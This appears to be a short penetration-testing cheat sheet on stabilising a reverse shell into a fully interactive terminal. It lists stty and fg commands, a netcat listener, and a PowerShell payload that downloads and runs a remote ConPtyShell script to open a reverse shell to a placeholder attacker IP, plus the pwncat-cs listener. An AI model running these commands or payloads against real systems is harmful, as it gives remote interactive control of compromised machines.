How to upgrade a reverse shell to a fully interactive stty:
A good resource to pimp your reverse shells is revshells.com
The old fashion
ctrl+z
echo $TERM && tput lines && tput cols
# for bash
stty raw -echo
fg
# for zsh
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>Other methods
Theses handler will automatically create a fully interactive pty when the connection is received
On Windows
Use ConPty
The listener:
stty raw -echo; (stty size; cat) | nc -lvnp <PORT>The payload
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell <ATTACKER IP> <PORT>On linux
Use pwncat-cs
The listener:
pwncat-cs -lp <PORT>You can use any classic payload on the target